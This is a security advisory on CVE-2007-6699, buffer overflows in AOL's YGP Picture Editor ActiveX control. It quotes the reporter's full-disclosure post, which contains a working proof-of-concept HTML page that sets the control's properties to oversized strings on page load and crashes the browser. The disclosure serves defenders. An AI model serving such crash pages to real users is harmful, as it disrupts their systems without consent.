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Category:   Application (Generic)  >   AOL Vendors:   America Online, Inc.
AOL YGP Picture Editor Buffer Overflows Let Remote Users Deny Service
SecurityTracker Alert ID:  1019143
SecurityTracker URL:  http://securitytracker.com/id/1019143
CVE Reference:   CVE-2007-6699   (Links to External Site)
Updated:  Feb 7 2008
Original Entry Date:  Dec 26 2007
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): PicEditor Control version 9.5.1.8
Description:   A vulnerability was reported in AOL's YGP Picture Editor ActiveX control. A remote user can cause the target user's browser to crash.

A remote user can create specially crafted HTML that, when loaded by the target user, will trigger a memory error in the AIM PicEditor Control and crash the target user's browser.

The CLSID of the vulnerable control is: 085891E5-ED86-425F-8522-C10290FA8309

Elazar Broad reported this vulnerability.

[Editor's note: This was originally reported as a remote code execution vulnerability. On December 27, 2007, the author indicated that remote code execution is not possible based on analysis by Carsten Eiram from Secunia Research.]

Impact:   A remote user can create HTML that, when loaded by the target user, will cause the target user's browser to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.aol.com/ (Links to External Site)
Cause:   Boundary error
Underlying OS:   Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Tue, 25 Dec 2007 18:29:52 -0500 (GMT-05:00)
Subject:  [Full-disclosure] AOL YGP Picture Editor YGPPicEdit.dll Multiple

The AOL YGP Picture Editor Control(AIM PicEditor Control) version 9.5.1.8 suffers from multiple exploitable buffer overflows in various
 properties. This object is marked safe for scripting. I have not tested other versions. PoC as follows:

----------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
    var s = 'A';

    while (s.length <= 8175) s = s + 'A';


   obj.DisplayName = s;
   obj.DisplayName = s;
   obj.FinalSavePath = s;
   obj.ForceSaveTo = s;
   obj.HiddenControls = s;
   obj.InitialEditorScreen = s;
   obj.Locale = s;
   obj.Proxy = s;
   obj.UserAgent = s;

   
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:085891E5-ED86-425F-8522-C10290FA8309">
</object>
</body>
</html>
----------------

Happy Holidays to all!

Elazar

_______________________________________________
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